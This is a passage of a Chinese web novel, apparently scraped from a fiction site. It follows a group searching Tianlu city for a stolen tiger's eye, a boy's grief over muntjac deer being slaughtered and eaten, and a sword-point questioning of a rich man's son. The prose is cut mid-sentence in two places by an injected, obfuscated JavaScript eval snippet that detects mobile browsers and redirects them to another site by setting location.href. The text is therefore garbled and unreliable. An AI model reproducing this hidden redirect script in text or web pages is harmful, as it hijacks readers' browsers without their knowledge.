谷老爷面带责备,嗤笑着说道:“你这孩子懂什么?周边那只猛虎你还记得吗?我们这么多年避免外出,是夺了人家眼珠子,指不定还虎视眈眈的盯着呢?若是我终时能等到,那可真是……死而无憾了。” 闻言,谷莫渠一阵嗔笑:“可您又在家中供人佛像,又一遍图害生灵!您难道不觉得难为情吗!” 对于这个儿子,谷老爷恨其愚钝,也时常反思为什么这个儿子,如今回乡,还是那般做什么都不求上道?!反复叮咛过后,再次强调:“怎么和你说呢?你就等着吧!而且我要告诉你,你虽从不吃麂肉,但你不能将引麂一事告诉旁人,知道吗?” “我……” 他暗哑的噤了声,这下连谷莫渠也无话可说了,当年因夺取虎眼一事,被迫离开天禄城多年,早已有人算到那赤虎被点了灵智,是为总有一日在城内大开杀戒,却不料这么多年也没逐个击破,反倒城内贪食野物之事日甚一日。 好…… 几人在此处酒楼睡下。 夜半,白鹿在奔跑的途中,那道步子逐渐慢了下来,像是心有灵通,耳朵也如同眼皮子般跳一样,扇了扇来回,当晚预感不妙,原来是那灵麂衔错了花,嗅觉一度被撞乱了,乱得晕头转向,径直往接近戏台的那处跑了,所到之处与杏花所发出的香味,连同距离也极为接近,使得灵麂忘记了方向,误打误撞的遭人陷阱,最终关头,沉寂多年的陷阱也捕到了猎物。 月色亮起,这只灵麂便被抓住了。 今朝涉世人间。 次日一早,酒楼之下欢呼不绝。 “原版的在我手上,我不卖!这一叠是我手抄的!只要三百三十三文!” “这原版手抄不卖就算了,怎么复刻的也要那么多钱?你是给皇家写过史书吗?值这钱?” “就算是凑个吉利数,也太贵了!” “你懂啥?!复刻还不是一样手抄吗?正是因为是手抄才贵!买一本吧,就当给我充功德了。” 酒楼的布局在于一楼,中心的大台阶上摆着一张书案,想必若有人来此弹唱卖艺,将这书案挪一挪,就咿呀的卖唱起来了,旁人也不会觉得无趣了。 今日上面之人正是介如游,他捏着一本《一介书生》,一本正经的宣读其中楔子:“真君本是天上神,只因妄言贬下尘!脱仙骨,招瑞鹤,游行散仙不败北,混入人间佼佼者,凡人骨,忘仙鹤!” 独翊快速奔下楼,不过一瞬上到近前,此行将转头的介如游更是吓了一跳,小心试问:“阁下所述的,是哪位真君??” 今早,介如游的身边少了那只活蹦乱跳的“蒙面盗贼”,像是沾染它习性一般,尤为礼貌道:“哎呀,二公子!是你呀?!吓死我了!” 独翊还未回神,困惑道:“是你?今日怎么有空当说书先生了?倒是好生奇怪呀?想来我从未告知过你,我有过几位兄亲姊妹?你怎么会知晓我在家中排行第二?是如何猜到的?” 介如游十分谄媚的将本子递上去,笑道:“我也不懂,就是觉得你天生就是要当老二的人。” 这个理由也是他瞎扯的,独翊无奈接过:“我倒是爱看这些,是你写的吗?” 介如游咂了咂嘴:“有感而发。” 独翊点点头,随手翻了几页:“你卖的确实很贵,而且字迹难辨,要是真有人能看懂,那可真是谢天谢地了。” 介如游的动作停了下来,慢慢的靠近他:“你当真看不懂吗?” 他将那本书塞在他怀里。 独翊接下那本书,转头坐在一旁又看了一会,像是被彻底迷住了,配着书中插图看了好一阵,最后躲在了书案底下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126556|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书案上盖着一块布,桌子下也能躲一个人,缝隙中夹杂着一束光芒,他将整个身子都缩了进去,只剩下一双鞋子,过了一会,书案之下传来一声呢喃:“我觉得……好奇怪,居然看懂了一点。” 介如游双手抱臂,一边叹气:“嗯,不错,有觉悟但不多。” “我猜那位真君,来这人间走了一趟,他说自己的身份不好被人知晓,就将那一对玄鹤与白鹤留在了观中,可是这玄鹤化形后,才发现自己身边的这只白鹤早已不见了踪影。后面这位真君也得知,一路来都在分散找寻,可是迟迟下落不明。” “你还是聪明的嘛。”介如游意味深长的盯紧他的脸,像是能穿透他的百年历程一样,短暂的收回视线后,提了一嘴:“你过得不错,你的另一半要来找你了。” 话音刚落,独翊百思不得其解的反指自己,还从未想过有日能娶姑娘家为妻,微微迟疑:“我?可我并无意向娶妻。” 介如游嘴角抽搐,哪能是这个道理?无语道:“我何曾说过是你未来的妻子了?总之不能透露太多,你自行悟会吧。” 独翊恢复神色,想着这人能将任何学派都能沾一点,也当真是饿不死了,可是神棍说的话哪能真信?转而又问:“你还会算命呢?那你看我命数如何?” 介如游当然不会算命,只是上前随意翻了一下书,刚巧凑了一对字:“福至心灵,坐怀不乱。” 独翊征询道:“抱歉,我的命数似乎晦涩至极,可否如实道来?” “时运济则腾仙去。” 介如游略微掐指,笑道:“我是想说,你当真不记得我?” 他真不清楚这人到底是什么意思?惹得独翊毫无印象,从无任何记忆点可言,加快解释:“我真不明白,要说印象?一丝一毫也没有。” 介如游连连叹气:“你要是记起什么,就知道我是谁了,我现在还不能够告诉你,我答应过别人的,又不能犯戒,可又实在有点憋得慌。” 独翊猜测:“你是凡人身。” 介如游刚握紧的拳头一砸手心,睁大眼睛贴近他看,讶然道:“哎对对对!还有呢?” 独翊反复揣摩,欲言又止,而后大惊:“你是男人?!” 介如游一时无语凝噎,转而直接将书案上的布料拢到一起,原来那不是什么桌布,是那件月白风帽?,收拾成一团,也能当个包袱挂在身后:“我呸!这还用你说!越来越不聪明的家伙!你这兄长怎么教你的?笨蛋!我走了!对了,别让你哥哥等太久啊,要是再不回来,谁来给我打扫道观?还有啊!走的时候多拿点钱。” 独翊心中大感怪异,对于这个人,怎么也生出一丝挽留之情?根本是没见过的,不知不觉又问:“那么请问,我们会何时再见?” “哈哈哈哈!你说该何时见?我都已经是个凡人了,怎么能够料到你的命数?按我说,就算你没玩够,也该回来了。” 他的话也是令人匪夷所思,介如游收起行囊,一步作两步,快速出了门,侧首望去,隐约中,独翊好像将他的侧脸看成了另外一位男子,这张容貌依旧是记不住,等他消失不见,又是一阵莫名。 另一边,兰桡戳了戳邵为雪的剑,打探道:“师姐,你饿不饿?” 邵为雪倒是没那么饿,反倒细声问他:“你想吃什么?我去给你买。” 兰桡这会主动了不少,脚底开始磨蹭了,朝她面前摊了摊手,微笑一阵:“让我去吧,我想自己熟悉一下路。” 邵为雪摸出几块碎银,好在临走时交代了不少,给了不少钱,以备不时之需,于是将银块放置他手心,叮嘱道:“那好,注意点,别走丢了,爹娘也准备了一些给你,之前忘记给了,你省着点用。” 兰桡大喜过望,毫不客气地将钱收下,一是众口难调,万一带不回来的,就麻烦死了,就没问其他人想吃点什么,全凭师姐喜欢吃什么,邵为雪还没来得及问候师叔,一转眼,兰桡就离开了。 桂皮八角的香气扑面而来,摊子后全是等着享用肉食之客,兰桡若有所思,奇怪涌上心头,大清早的也吃的那么油腥?转身要走,那老板“哎”一声,叫住了他,调笑道:“麂子肉,吃不吃?” 闻着味太怪了,也不是腥味重,仔细盯了一会,主要是摸不透是什么肉,兰桡颇感奇怪,根本不像鸡肉,要是鸡肉,也不用下这么猛的香料吧?直言说:“鸡肉?看起来不像鸡肉。” “鸡肉?!哈哈!是狗肉!你吃不吃?”老板调侃道。 围着看的不止一人,旁边那人盯着兰桡看了好半晌,也能看清楚兰桡在忌讳些什么,耻笑道:“别吓他了,我看他是位牛羊勿践之辈,要是被他察觉到,在他眼里,我们吃的东西更不称他心意,多少也是水火不容,更有辱斯文,别多嘴了。” “多张嘴的事。”老板并不在意,说着,便想让兰桡也尝试一番,没准真合他口味了?眼下桌位满了,也不问兰桡拼不拼桌,径直把他往另一桌前带,碗筷已摆好,就等他入座了,看他也没想入座的意思,这人又劝道:“小公子啊,你要想这世上可不止我们这一处有杀生,每年一办的庙会就是安抚神灵呀,是我们的一大美德啊!大家说对不对?!你就放心吃吧?” “对!” “太对了!” 桌子跟前,有一个男人还戴着貌似狼牙的装饰物,充当挂脖,像是从某种动物的嘴上取下来的,加上满脸麻子,右耳还挂着一串黄铜圈环,怎么看都缺少怜悯,话中自带暴戾,喝道:“要我说,好吃好喝供着这么多年,到死肯定也要孝敬我们呀!不然养来干嘛,吃饱了撑的!!你放心吧,我们吃的都是家养的鹿肉,外头的事早就不干了!” “鹿肉?”兰桡再也听不下去,怒道:“实在不可理喻!做什么不好,非要去夺它性命!管你是家养的还是野生的,我说不行!就是不行!!” 座上人纷纷置筷,见这男孩言论怪异,好奇了起来。突然,一人啐道:“世间千万人食肉脱骨,官人需要满足口腹之快,我们这些做下属的,自然是要呈上最好的,我也是要吃饭的好不好?他们不救济百姓是他们的事,反过来说,我也是穷百姓啊,不死就得苟且偷生,有人愿意用我那便多劳多得嘛,谁会像你一样命好,你父母也由着你出来唱衰?要是没人陪你的话,你当今弱势,大家也不必计较了。” 麻子身边坐着个胖墩,正一口一口往嘴里送肉,没白饭就罢,浓油赤酱的也不怕咸死,桌上的青菜一筷没动,顾不得咀嚼说:“是呀!鹿肉?鹿肉又怎么了?我还吃鹿头呢!与其被虎分食,不如做成有价值的耶!就像我二哥身上的挂脖,是让它们在世上唯一的证明,多漂亮呀,等我吃完这个鹿头,就将它盘的油光发亮的。” 一人垂涎道:“啧啧?还大喊着救济苍生呀?别太得意了,管得过来吗?看你沧桑的模样,不知道的还以为你家里人不给你饭吃呢,不过确实稀少的越珍贵,这玩意到底谁爱吃呢?我爱吃!哈哈!今日方得餍足饱,明日吃那灵麂鹿,试问谁动恻隐心?谁能不入世俗?谁人不同流合污?哈哈哈哈哈!来来来!小弟弟,你也吃点!” 他将一块肉夹到了兰桡的碗中。 他看了一眼桌对面之人的碗,像是盆,更是出奇的大。他认出来后,这人吃的……居然是个鹿头!在此其间,门外又出现了新客,听到几声爽朗的笑声后,隐约不妙。 “角怎么断了?还断了一只蹄子?下次小心点。” “都是吃的,至于吗?再说断了也好,得亏跑不了,它可活泼了,这角差点刺死我,你是不知道这獠牙多吓人,挣扎的时候差点划到我了,绑嘴也是个力气活。” “嗯行行!” 老板手一甩,将麻袋抛入门内,落入他眼,边缘还混杂着新生的血迹,那道口早已解绳,麻袋之中的东西挣扎了一会,终于露出一个鲜血淋漓的脑袋来。 如今还被折了一只角,是抓住了一只此刻在浑身发抖,被布料盖眼,绑住嘴的黄麂!最后,兰桡掌破案桌,挥出抚遗裂斩桌前,果不其然,那碗麂肉摔到地上,已经脏了。 奔门而去。 28. 灵麂鹿 殊不知,邵为雪早在他出门时,便一直站在路旁等候,见兰桡低垂着头,一路苦闷的走向这边来,到底是出了何等事?走到她面前也不曾有心应答,按兰桡的性子,也是无人能将他欺负,这会在哪吃了难? 只传来抽泣声不绝。 “师、师姐……我,不知道你们喜、喜欢吃什么。”见他哽着声音,一定是出了事,邵为雪按住他肩膀,盯着他哭红的眼,心头凝重了起来,不由得追问:“兰桡?你怎么了?” 兰桡饮泣,如实作答:“我路过一间铺子,里面……全是吃肉的,他们将山上捉获的麂鹿,卖去交易,将它们杀了,吃了……吃了。” 明白了。 定是城中滥杀之行被兰桡亲眼目睹,虽然他为人处世总是一副事不关己的样子,可是对于那些被人为束缚的动物总会抱有怜悯心,一旦见证杀虐,得知再无可能脱离险恶,一再带入恻隐之心,他也不能有半点权利要求别人了,别人也不会奉命真去听信隐恶扬善,身单力薄之人更是无能为力了。 邵为雪心领神会,伸手擦去他眼角的泪,只能放声安慰:“别哭。” 兰桡揉了揉鼻子,眼睛像是被泪水洗濯过后,越来越眉清目秀了,只得小心翼翼地看她:“师姐……我还没买吃的。” 以为师姐会抱有意见,可她并不怪罪,反倒耐心的说:“不急,等人到齐,再去买好吃的。” “走吧走吧,久等了各位。” 众人纷纷踏出门槛,楼少渊提了提裤子,从门内出来,察觉到兰桡的两颊红扑扑的,这天晴朗的很,哪能这么容易冻到脸,当午间也该融化的差不多了吧?莫不是被欺负了? 啧啧两声后,摇着头前去将他搂到一边,一边留意他的神色,安慰道:“咿呀呀?你怎么哭了?谁又欺负你了?谁敢欺负你!哎!你哭什么?你怎么不叫我一起去?我好帮你处理了,打回去也成?别哭哭了!” 轻松一挽,又踏上了行程。 途中,兰桡拔开抚遗的剑鞘,对着剑身观望面容,好似恢复了原貌,红晕也退了不少,看着也没那么严重嘛?淡定下来后,嘀咕道:“谁要你安慰!我才没哭!” 说罢,楼少渊轻笑着扬了扬右手的袖口,指着上面的泪痕,要想不是他的眼泪沾湿了一片,那是谁的?大感疑惑:“你没哭怎么还敢找我讨要安慰?” 兰桡盯了一会衣袖,将剑收拢,心绪回到最初,侧开身,大步迈向最前面,直言说:“是你自己要靠过来的。” “也对啊,我是心甘情愿的,你尽管擦。” 路过小摊,楼少渊不犹豫地掏出钱,停在路边买了几个烧饼,收拾完后留下两个,将买好的饼全部塞入了独翊手中,又转身安慰兰桡去了,他将烧饼放在他脸上晃晃,还掉下两粒芝麻,试探他:“吃一个吧,他们都吃就你不吃,要不我喂你吃?” “我不饿。” 独翊朝身边递了两个饼:“雪徒儿,给你两个。” 邵为雪双手接过:“多谢师叔。” 锦玉的手心忽然一阵温热,在空气中嗅到了一丝特殊的味道,低头一看,摸着触感,手上也多了两个饼,疑惑道:“吃食?” 独翊问他:“不错,你知道京城烧饼吗?” 锦玉摇摇头,茫然不解:“抱歉,独公子,锦玉常年居住山林中,不懂尘间事,并未去过京城,至于京城烧饼,也从未听说过是何物。” 稀里糊涂的问了他这么一句,翻出了他多少蒙昧,独翊嚼着个饼笑了一路,心想:“楼兄,我终于不是京城最后一个没吃过烧饼的人啦!”接着将剩余的收入囊中,如果某日下至潇湘,也可以让兄长尝一尝天禄城的美味,想必他也很喜欢。 摸索出了好几个巷口,还是找不到任何有关虎瞳的线索,天禄城远比想象的还要大,楼少渊靠在墙面上感叹:“这地方还挺大的,那山君瞳该从何处找起?我想找个十天半个月都不会有下落吧,给人吞了也没准儿。” 独翊将吃到一半的烧饼收拢,放回了怀里,解释说:“文旦君说过,他们知道了山君生智的秘密,想来山君身上的每一处都极为珍贵,眼睛必然也是不同凡响的,他人若是雇来猎户去剿杀山君,就必定要夺取其中一物证实,猎户射取虎瞳此事一成后,断然不是据为己有,而是会奉命献给那位雇主,留作战利品。” 楼少渊微微诧异:“可雇主会是谁?” 兰桡也略迟疑:“这个哪能说得清?要是再往里探,上到达官贵要下至平民百姓,都沾点……我也不明白。” 过了一会,众人行走至一面石花窗旁,原来隔墙之内,也是有一户人家的,隔着镂空处观望,看清里头的陈设,靠墙角处有一块颜色极深的木头,中部呈现黑褐色,边缘还是能看清原来的木质色,只是这块木板渗透出来的血腥味极重,像是杀过什么东西一样。 锦玉尽收眼底:“有气味。” 闻言,楼少渊也仔细嗅了嗅空中有何异样,离得又远,并没有闻到任何不适的气味:“什么气味?” 锦玉说:“案板上的血腥味很浓,这是一家屠户。” 不一会,里头出来了一位老者,隐约中,一位女子也赶到,挡在门前,似乎不太想让老者出门,林父看到是自己的女儿,见她挡着去路,十分不解:“莫渠公子回来了,你要不要和爹一起去?” 林蝉儿侧过脸,故作淡定地表示:“不去!我才不去!” 林父见她有意,可又阻拦着门,这又如何是好?笑问:“为何不去?你们幼年时玩的多好啊!你要是不去,那为父可去了啊?” 林蝉儿面红耳赤的继续拦着门:“不行!” 林父无可奈何,继续问:“告诉爹,这是为何?” 林蝉儿有些嘴硬,不情不愿的说:“爹,你干嘛要去帮他们家干活?!” 原来如此,林父一脸郑重道:“这不是奉命前去吗?此行不可耽误,我与谷老交情最深,每次都是让我去替他把关,这次捕到什么我也不清楚,像是很神秘,他也没说清楚,反正我是非去不可了,你要是见不了血,就待在家吧。” 林蝉儿心虚地打开一边门:“那、那我和你一起。” 林父连连招手,终于挤出门外:“我耽误不得了,先走了!你准备一下,顺便带点青梅酒给莫渠公子,他最爱喝了,也不知道如今酒量如何了。” 林蝉儿言不由衷,转身就去拿青梅酒了:“哼!爹!你干嘛那么清楚他的喜好,而且青梅酒才没那么容易醉呢。” 林父笑意连绵,连连点头:“哈哈哈,快去吧快去吧。” “我们要不要跟上去?” 楼少渊原想抢先一步,刚踏出一步,却不料独翊按住了他,将他拉回身边,这会不好贸然犯险,邵为雪便主动请缨了:“师叔,我跟着他。” 独翊点点头,示意她跟上后者,响应动向:“也好,保险起见,你就跟着那位姑娘,万事小心。” 按理说,兰桡也会立即跟着邵为雪离开,但是独翊怕他又在途中看到什么瘆人的场景,一领子将他拽了回来,兰桡在一旁急得跳脚,又可怜兮兮的转过头,这会就完全不厌烦这个师叔了,连连央求:“师叔,让我也去吧!师叔师叔……” “你要跟紧你师姐,不要乱跑。” 沉默了一会,独翊只好松开了手,一边告诫,再去语重心长一番时,这之间,兰桡已经转身,跑的老远了,最后留下一句:“好!” 二人来到了一座宅邸,门府牌匾倒是没见着,也不知这是谁家?总不能破门而入,那就偏向墙沿摸索,贴近那道距离时,轻轻一跃便踏了上去,刚好落上一面院墙上,白日青天,两人的肤色被光照的越发苍白。异常显眼,好在人也不多,于是悠哉地注视着那位姑娘将青梅酒放置在石桌上,却没敢叫唤里面的人,像是有备而来,却又无法触及,等了会,耗尽了心思,就退了出去。 兰桡不敢置信,怎么没过一会的功夫就要走了,还以为能打听到什么新鲜的线索呢,叹气道:“她怎么不进去?喊一声就好了。” 邵为雪暗道:“像是在等什么人出来。” “干脆一脚踹进去!我最讨厌等了!麻烦死了,真当自己是哪门子少爷?昨天遇到的丑男人就纠缠死了!不清楚自己是何等货色的!狂蜂浪蝶,不知羞耻!” 兰桡叽叽喳喳的叫骂在耳旁回荡,一个不留神,余光瞥见了底下的动静,一男子魂不守舍的打开了门,头伸向门外打量了一番,刚才的动静哪里去了?他也不知,但是还是看清院内的石桌上留存的东西。 一坛酒。 兰桡睁大眼睛,暗骂真是冤家路窄,这不是昨日那个闺男吗?瞬间住了口,将话吞回心底:“我去,怎么会是他?还有!她怎么送完就走了?我下去教训他!” 邵为雪嘱咐道:“你待在上面,我下去。” 兰桡悻悻道:“好吧。” 谷莫渠围着石桌打量了半天,见酒是放在自己的院中,大概率就是给自己的,竟然连杯子也准备了,察觉身后有点响动,猛然回头,见到来人愣了愣,连忙放下酒罐,放置桌台,袖手来回弹了弹灰,激动到不行,这不是自己朝思暮想的东阳美人吗?围着她前后转了一圈,满脸堆笑:“东阳美人?我就知道你会来!你居然还知道大名鼎鼎的我,连我家你都知道的一清二楚?!你怎么来的?还没告诉你呢!我叫谷莫渠!这次的庙会就是我爹和几位叔叔办的!我爹就是东家!所以我就是这片区域的老大!这回你信了吧?!” 等他一连串的言语带动作,邵为雪并不答复,也不在意他的身份如何,问:“你不问我来干什么?” 谷莫渠转身就将青梅酒揭盖而起,酒香四溢间,也想让她尝尝,于是直认不讳:“不啊,你就算来杀我,我也很高兴了。” 说罢就要给她倒上一杯酒,邵为雪眼疾手快,伸手挡住杯口,料想今日醉翁之意不在酒,只得坦白说:“我从不喝酒。” “那就吃个梅子吧?” 不喝酒?谷莫渠刚想起来杯子也太小了点?要给她找个大碗倒点梅子吃,敲定主意要去拿大碗,却被她叫住,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167246|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听又有吩咐,兴高采烈的回头,想要听她说些什么,却不料她说:“外头那位姑娘是你的朋友。” 谷莫渠有些疑惑,毕竟刚回来,哪里认识什么姑娘,就算有!如今也只有东阳美人一位,想到这思索了一会,当真是想不出来,便问:“什么姑娘?” 邵为雪忽然冷笑:“你不知青梅酒何来?” “怎么了?” 见她语气不对劲,谷莫渠有些迟疑,看了看青梅酒,并未察觉什么不妥之处啊?就是一坛酒而已,东阳美人这是怎么了?思考了半天,他缓缓开口道:“我……哦哦!记起来了,是林叔叔,我知道!他知道我回来了,肯定是他送的。” 邵为雪冷着脸,厉声说:“我不知道你与那位姑娘是什么关系,青梅酒就是她放在这的,你一直闭门不开,她才离去,你去寻她回来。” 听她讲完,谷莫渠坐在一旁,痴呆呆地双手托腮,歪头痴迷着看她:“我真不知道啊!也有可能是林家的丫鬟,你真细心呀,我们好好叙叙旧吧……其他的真不用管了。” 邵为雪只顾说:“她还在水池处等候。” 谷莫渠没辙,赶紧摆手宽慰:“那好,你等等,我去看看好了。” 水池置于另一端院子,谷莫渠仔细打量了那水雾缭绕处,还真有位白衣女子,正观望水池中的鱼儿许久,他走近试探:“……蝉儿?” 林蝉儿倒是久违了,转身示礼:“莫渠哥哥,好久不见。” 谷莫渠走上去,想起那坛酒:“你怎么在这?难道,这青梅酒是你送的?” 林蝉儿犹豫了一会,忐忑地说:“嗯,我爹来了,我也来了,想见见你,但是你一直不出来。” 谷莫渠没好气的说:“你不敲门我怎么知道你在外面?” 林蝉儿红着脸,赶紧说:“我们……很久没见了,我想说能不能约你,等会一起去外面逛逛?” 谷莫渠扒了扒脸,眼下还不是时候,又说:“哎啊啊?!其实……我们不急于这一时啊!等会我还有点事,晚上庙会的时候再见如何?就是戏台那?” 见他答应,林蝉儿也含笑点头:“嗯,也好。” 来人不好打搅,邵为雪起身离开,走到那高墙前一跃,身形一晃,才回到了兰桡身边,兰桡以为真打听到了什么线索,连忙问:“师姐,你怎么出来了?山君瞳在哪?你问了吗?” 邵为雪摇头:“他在叙旧,不好打扰,趁这个时间,我们先去其他房间看看。” 找寻一阵过后,依旧是一无所获,兰桡坐在房内的椅子上,手里抱着个空木盒:“师姐,我们还不知道射杀山君的是不是这家呢?” 邵为雪冷静下来,行步思考:“既然这个屠户能与这府上的人相识,自然与残害生灵脱不了关系,要挟他试试?” “美人?你走了吗?美人?” 见自家房门敞开着,谷莫渠蹑手蹑脚的进入房内,以为邵为雪早就一走了之,却连声招呼也没有,来无影去无踪的,刚提起的兴趣一扫而空,垂头丧气的,却不料脖间突然抵上了一道冰冷的剑气,兰桡神色冷厉地把持着剑,阴沉着说:“虎瞳在哪?” “虎瞳?什么虎瞳?” 慌乱之下,谷莫渠被吓得倒地不起,但后来人是心心念念的东阳美人,立马捋直了舌头,强装镇定道:“东阳美人!你当真要杀我??我是真的不知道!我说过的,前几年南北两方流动,我是临近庙会才回的天禄城,你怎么就不能相信我?!” 兰桡轻蔑而笑,将剑抬高了些,自然不相信这些人的这等话术,这种东西哪能轻易告诉旁人?这男子如此伶牙俐齿自当有诳骗女子之嫌,装傻充愣,哪里能信?随后声音陡然拔尖:“那家中呢?有没有藏呢?藏哪了?” 谷莫渠连忙摆手,一步步退后解释:“没有!真没有!就算、这几年我爹确实做了很多不好的事情,他贪恋杀生,确实杀了很多无辜的动物,但是射杀虎瞳之事定是家族齐心之意,就算这虎瞳身上真有什么好处的话,他不可能藏起来,甚至是自己独吞!他一定是放在众人皆知的角落!” 邵为雪沉思了一会:“一面之词,不算有理。” 兰桡又将剑身对准他脖颈,欲要刺入,谷莫渠的脸色青一道白一道,见背靠墙,退无可退,哪知道一语成谶了?连连道:“我、我……离开天禄城之前,家族里是雇过猎户……射瞎过一只老虎的眼睛,但是绝对不是我干的,我犯了错一定会招,你就消消气好了,今晚的阴阳戏你知道吗?我带你去戏台那看看,你看看……没有你说的那颗虎瞳,要是找到了还好说,要是找不到我也没辙啊……” 如今也只亦如此,无法再辨明话中真假,邵为雪话不多说,面色阴沉,转身离去:“劳烦。” 谷莫渠慌乱的站起身,差点又被那道剑锋吓得手脚不能齐并,最后扶好了身子,将他们带出去:“那好!!我带你们去。” 邵为雪止步,侧头询问:“位置。” 谷莫渠想着她应该不清楚路线,十分殷勤的搓搓手:“我和你一起去!”